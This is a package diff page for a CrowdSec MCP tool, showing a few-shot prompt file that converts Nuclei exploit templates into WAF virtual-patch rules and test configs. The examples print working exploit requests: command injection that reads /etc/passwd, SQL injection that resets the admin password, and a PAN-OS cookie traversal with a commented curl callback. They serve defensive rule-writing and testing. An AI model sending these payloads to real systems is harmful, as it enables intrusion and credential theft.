crowdsec-local-mcp 0.0.2__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. crowdsec_local_mcp/__init__.py +5 -0
  2. crowdsec_local_mcp/__main__.py +24 -0
  3. crowdsec_local_mcp/compose/waf-test/.gitignore +3 -0
  4. crowdsec_local_mcp/compose/waf-test/crowdsec/acquis.d/appsec.yaml +8 -0
  5. crowdsec_local_mcp/compose/waf-test/crowdsec/appsec-configs/mcp-appsec.yaml.template +8 -0
  6. crowdsec_local_mcp/compose/waf-test/crowdsec/init-bouncer.sh +29 -0
  7. crowdsec_local_mcp/compose/waf-test/docker-compose.yml +68 -0
  8. crowdsec_local_mcp/compose/waf-test/nginx/Dockerfile +67 -0
  9. crowdsec_local_mcp/compose/waf-test/nginx/crowdsec/crowdsec-openresty-bouncer.conf +25 -0
  10. crowdsec_local_mcp/compose/waf-test/nginx/nginx.conf +25 -0
  11. crowdsec_local_mcp/compose/waf-test/nginx/site-enabled/default-site.conf +15 -0
  12. crowdsec_local_mcp/compose/waf-test/rules/.gitkeep +0 -0
  13. crowdsec_local_mcp/compose/waf-test/rules/base-config.yaml +11 -0
  14. crowdsec_local_mcp/mcp_core.py +151 -0
  15. crowdsec_local_mcp/mcp_scenarios.py +380 -0
  16. crowdsec_local_mcp/mcp_waf.py +1170 -0
  17. crowdsec_local_mcp/prompts/prompt-scenario-deploy.txt +27 -0
  18. crowdsec_local_mcp/prompts/prompt-scenario-examples.txt +237 -0
  19. crowdsec_local_mcp/prompts/prompt-scenario.txt +84 -0
  20. crowdsec_local_mcp/prompts/prompt-waf-deploy.txt +118 -0
  21. crowdsec_local_mcp/prompts/prompt-waf-examples.txt +401 -0
  22. crowdsec_local_mcp/prompts/prompt-waf.txt +343 -0
  23. crowdsec_local_mcp/setup_cli.py +306 -0
  24. crowdsec_local_mcp/yaml-schemas/appsec_rules_schema.yaml +343 -0
  25. crowdsec_local_mcp/yaml-schemas/scenario_schema.yaml +591 -0
  26. crowdsec_local_mcp-0.0.2.dist-info/METADATA +74 -0
  27. crowdsec_local_mcp-0.0.2.dist-info/RECORD +31 -0
  28. crowdsec_local_mcp-0.0.2.dist-info/WHEEL +5 -0
  29. crowdsec_local_mcp-0.0.2.dist-info/entry_points.txt +3 -0
  30. crowdsec_local_mcp-0.0.2.dist-info/licenses/LICENSE +21 -0
  31. crowdsec_local_mcp-0.0.2.dist-info/top_level.txt +1 -0
@@ -0,0 +1,401 @@
1
+ ### 1 - Example Input (Nuclei Template):
2
+ ```yaml
3
+ id: CVE-2020-17496
4
+
5
+ info:
6
+ name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
7
+ author: pussycat0x
8
+ severity: critical
9
+ description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
10
+
11
+ http:
12
+ - raw:
13
+ - |
14
+ POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
15
+ Host: {{Hostname}}
16
+ Content-Type: application/x-www-form-urlencoded
17
+
18
+ subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
19
+
20
+ matchers-condition: and
21
+ matchers:
22
+ - type: status
23
+ status:
24
+ - 200
25
+ ```
26
+
27
+ ### Example Output (Detection Rule):
28
+ ===RULE===
29
+ name: crowdsecurity/vpatch-CVE-2020-17496
30
+ description: 'vBulletin RCE (CVE-2020-17496)'
31
+ rules:
32
+ - and:
33
+ - zones:
34
+ - URI
35
+ transform:
36
+ - lowercase
37
+ match:
38
+ type: endsWith
39
+ value: /ajax/render/widget_tabbedcontainer_tab_panel
40
+ - zones:
41
+ - BODY_ARGS
42
+ variables:
43
+ - /subwidgets\[[0-9]+\]\[template\]/
44
+ match:
45
+ type: equals
46
+ value: widget_php
47
+ - zones:
48
+ - BODY_ARGS_NAMES
49
+ match:
50
+ type: regex
51
+ value: subWidgets\[[0-9]+\]\[config\]\[code\]
52
+
53
+ labels:
54
+ type: exploit
55
+ service: http
56
+ confidence: 3
57
+ spoofable: 0
58
+ behavior: 'http:exploit'
59
+ label: 'vBulletin - RCE'
60
+ classification:
61
+ - cve.CVE-2020-17496
62
+ - attack.T1595
63
+ - attack.T1190
64
+ - cwe.CWE-74
65
+
66
+ ===TEST_CONFIG====
67
+ appsec-rules:
68
+ - ./appsec-rules/crowdsecurity/base-config.yaml
69
+ - ./appsec-rules/crowdsecurity/vpatch-CVE-2020-17496.yaml
70
+ nuclei_template: CVE-2020-17496.yaml
71
+
72
+ ===TEST_NUCLEI====
73
+ id: CVE-2020-17496
74
+ info:
75
+ name: CVE-2020-17496
76
+ author: crowdsec
77
+ severity: info
78
+ description: CVE-2020-17496 testing
79
+ tags: appsec-testing
80
+ http:
81
+ - raw:
82
+ - |
83
+ POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
84
+ Host: {{Hostname}}
85
+ Content-Type: application/x-www-form-urlencoded
86
+
87
+ subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
88
+
89
+ cookie-reuse: true
90
+ #test will fail because we won't match http status
91
+ matchers:
92
+ - type: status
93
+ status:
94
+ - 403
95
+
96
+
97
+ ### 2 - Example Input (Nuclei Template):
98
+ ```yaml
99
+ id: CVE-2020-9054
100
+
101
+ info:
102
+ name: Zyxel NAS Firmware 5.21- Remote Code Execution
103
+ description: 'Multiple Zyxel network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability.'
104
+ classification:
105
+ cvss-score: 9.8
106
+ cve-id: CVE-2020-9054
107
+ cwe-id: CWE-78
108
+ tags: cve2020,cve,rce,zyxel,injection,kev
109
+
110
+ http:
111
+ - method: GET
112
+ path:
113
+ - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd"
114
+
115
+ matchers-condition: and
116
+ matchers:
117
+ - type: status
118
+ status:
119
+ - 200
120
+ # digest: 490a00463044022043cae3ef335cbb2f8c7c8501b6c55a84c61f07feb27f26bb32429e52e8a2a2fa02203c126dbc246c5d52e30849054d666a5f58c164092064ac5a42d35936e313562b:922c64590222798bb761d5b6d8e72950
121
+ ```
122
+
123
+ ### Example Output (Detection Rule):
124
+ ===RULE===
125
+ name: crowdsecurity/vpatch-CVE-2020-9054
126
+ description: 'Detects pre-authentication command injection in Zyxel NAS devices via weblogin.cgi'
127
+ rules:
128
+ - and:
129
+ - zones:
130
+ - URI
131
+ transform:
132
+ - lowercase
133
+ match:
134
+ type: contains
135
+ value: /cgi-bin/weblogin.cgi
136
+ - zones:
137
+ - ARGS
138
+ variables:
139
+ - username
140
+ transform:
141
+ - lowercase
142
+ match:
143
+ type: contains
144
+ value: "'"
145
+
146
+ labels:
147
+ type: exploit
148
+ service: http
149
+ confidence: 3
150
+ spoofable: 0
151
+ behavior: 'http:exploit'
152
+ label: 'Zyxel NAS - RCE'
153
+ classification:
154
+ - cve.CVE-2020-9054
155
+ - attack.T1190
156
+ - cwe.CWE-78
157
+
158
+
159
+ ===TEST_CONFIG====
160
+ appsec-rules:
161
+ - ./appsec-rules/crowdsecurity/base-config.yaml
162
+ - ./appsec-rules/crowdsecurity/vpatch-CVE-2020-9054.yaml
163
+ nuclei_template: CVE-2020-9054.yaml
164
+
165
+ ===TEST_NUCLEI====
166
+ id: CVE-2020-9054
167
+ info:
168
+ name: CVE-2020-9054
169
+ author: crowdsec
170
+ severity: info
171
+ description: CVE-2020-9054 testing
172
+ tags: appsec-testing
173
+ http:
174
+ - method: GET
175
+ path:
176
+ - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd"
177
+ cookie-reuse: true
178
+ matchers:
179
+ - type: status
180
+ status:
181
+ - 403
182
+
183
+
184
+
185
+ ### 3 - Example Input (Nuclei Template):
186
+ ```yaml
187
+ id: CVE-2024-3400
188
+
189
+ info:
190
+ name: GlobalProtect - OS Command Injection
191
+ author: salts,parthmalhotra
192
+ severity: critical
193
+ description: |
194
+ A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
195
+
196
+ http:
197
+ - raw:
198
+ - |
199
+ GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
200
+ Host: {{Hostname}}
201
+ - |
202
+ POST /ssl-vpn/hipreport.esp HTTP/1.1
203
+ Host: {{Hostname}}
204
+ Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
205
+ Content-Type: application/x-www-form-urlencoded
206
+
207
+ user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
208
+ - |
209
+ GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
210
+ Host: {{Hostname}}
211
+
212
+ # Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command
213
+
214
+ matchers-condition: and
215
+ matchers:
216
+ - type: dsl
217
+ dsl:
218
+ - status_code_1 == 404 && status_code_3 == 403
219
+ - contains(body_2, 'invalid required input parameters')
220
+ condition: and
221
+ # digest: 4a0a00473045022008b369ceac1f6e7ed59d42e2370c7ad327a6867980958a81925d5d25122b3f090221009987bd7cdcc2964e527754acdbbd8fbdc3555c53445648c5eb77102ebd08cde7:922c64590222798bb761d5b6d8e72950
222
+ ```
223
+
224
+ ### Example Output (Detection Rule):
225
+ ===RULE===
226
+ name: crowdsecurity/vpatch-CVE-2024-3400
227
+ description: 'Detects OS command injection in GlobalProtect feature of Palo Alto Networks PAN-OS'
228
+ rules:
229
+ - and:
230
+ - zones:
231
+ - URI
232
+ transform:
233
+ - lowercase
234
+ match:
235
+ type: contains
236
+ value: /ssl-vpn/hipreport.esp
237
+ - zones:
238
+ - HEADERS
239
+ variables:
240
+ - Cookie
241
+ transform:
242
+ - lowercase
243
+ match:
244
+ type: contains
245
+ value: sessid=/../../
246
+
247
+ labels:
248
+ type: exploit
249
+ service: http
250
+ confidence: 3
251
+ spoofable: 0
252
+ behavior: 'http:exploit'
253
+ label: 'GlobalProtect - RCE'
254
+ classification:
255
+ - cve.CVE-2024-3400
256
+ - attack.T1190
257
+ - cwe.CWE-20
258
+ - cwe.CWE-77
259
+
260
+ ===TEST_CONFIG====
261
+ appsec-rules:
262
+ - ./appsec-rules/crowdsecurity/base-config.yaml
263
+ - ./appsec-rules/crowdsecurity/vpatch-CVE-2024-3400.yaml
264
+ nuclei_template: CVE-2024-3400.yaml
265
+
266
+ ===TEST_NUCLEI====
267
+ id: CVE-2024-3400
268
+ info:
269
+ name: CVE-2024-3400
270
+ author: crowdsec
271
+ severity: info
272
+ description: CVE-2024-3400 testing
273
+ tags: appsec-testing
274
+ http:
275
+ - raw:
276
+ - |
277
+ POST /ssl-vpn/hipreport.esp HTTP/1.1
278
+ Host: {{Hostname}}
279
+ Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
280
+ Content-Type: application/x-www-form-urlencoded
281
+
282
+ user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
283
+ cookie-reuse: true
284
+ matchers:
285
+ - type: status
286
+ status:
287
+ - 403
288
+
289
+
290
+ ### 4 - Example Input (Nuclei Template):
291
+ ```yaml
292
+ id: CVE-2024-6670
293
+
294
+ info:
295
+ name: WhatsUp Gold HasErrors SQL Injection - Authentication Bypass
296
+ author: DhiyaneshDK,princechaddha
297
+ severity: critical
298
+ description: |
299
+ In WhatsUp Gold versions released before 2024.0.0, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.
300
+
301
+ variables:
302
+ username: "admin"
303
+ password: "{{to_lower(rand_text_alpha(8))}}"
304
+
305
+ http:
306
+ - raw:
307
+ - |
308
+ POST /NmConsole/WugSystemAppSettings/JMXSecurity HTTP/1.1
309
+ Host: {{Hostname}}
310
+ Content-Type: application/json
311
+
312
+ {"KeyStorePassword": "{{password}}", "TrustStorePassword": "{{password}}"}
313
+
314
+ matchers:
315
+ - type: dsl
316
+ dsl:
317
+ - status_code == 302
318
+ - contains(set_cookie, 'ASP.NET_SessionId=')
319
+ condition: and
320
+ internal: true
321
+
322
+ - raw:
323
+ - |
324
+ POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors HTTP/1.1
325
+ Host: {{Hostname}}
326
+ Content-Type: application/json
327
+
328
+ {"deviceId": "22222", "classId": "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--", "range": "1", "n": "1", "start": "3", "end": "4", "businesdsHoursId": "5"}
329
+
330
+ matchers:
331
+ - type: dsl
332
+ dsl:
333
+ - status_code == 200
334
+ condition: and
335
+ internal: true
336
+ ```
337
+
338
+ ### Example Output (Detection Rule):
339
+ ===RULE===
340
+ name: crowdsecurity/vpatch-CVE-2024-6670
341
+ description: 'WhatsUp Gold HasErrors SQL Injection - Authentication Bypass'
342
+ rules:
343
+ - and:
344
+ - zones:
345
+ - URI
346
+ transform:
347
+ - lowercase
348
+ match:
349
+ type: contains
350
+ value: /nmconsole/platform/performancemonitorerrors/haserrors
351
+ - zones:
352
+ - BODY_ARGS
353
+ variables:
354
+ - json.classId
355
+ transform:
356
+ - lowercase
357
+ - urldecode
358
+ match:
359
+ type: contains
360
+ value: "'"
361
+
362
+ labels:
363
+ type: exploit
364
+ service: http
365
+ confidence: 3
366
+ spoofable: 0
367
+ behavior: 'http:exploit'
368
+ label: 'WhatsUp Gold - Authentication Bypass'
369
+ classification:
370
+ - cve.CVE-2024-6670
371
+ - attack.T1190
372
+ - cwe.CWE-20
373
+ - cwe.CWE-77
374
+
375
+ ===TEST_CONFIG====
376
+ appsec-rules:
377
+ - ./appsec-rules/crowdsecurity/base-config.yaml
378
+ - ./appsec-rules/crowdsecurity/vpatch-CVE-2024-6670.yaml
379
+ nuclei_template: CVE-2024-6670.yaml
380
+
381
+ ===TEST_NUCLEI====
382
+ id: CVE-2024-6670
383
+ info:
384
+ name: CVE-2024-6670
385
+ author: crowdsec
386
+ severity: info
387
+ description: CVE-2024-6670 testing
388
+ tags: appsec-testing
389
+ http:
390
+ - raw:
391
+ - |
392
+ POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors HTTP/1.1
393
+ Host: {{Hostname}}
394
+ Content-Type: application/json
395
+
396
+ {"deviceId": "22222", "classId": "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = {{encryptedPassword}} where sUserName = 'admin';--", "range": "1", "n": "1", "start": "3", "end": "4", "businesdsHoursId": "5"}
397
+ cookie-reuse: true
398
+ matchers:
399
+ - type: status
400
+ status:
401
+ - 403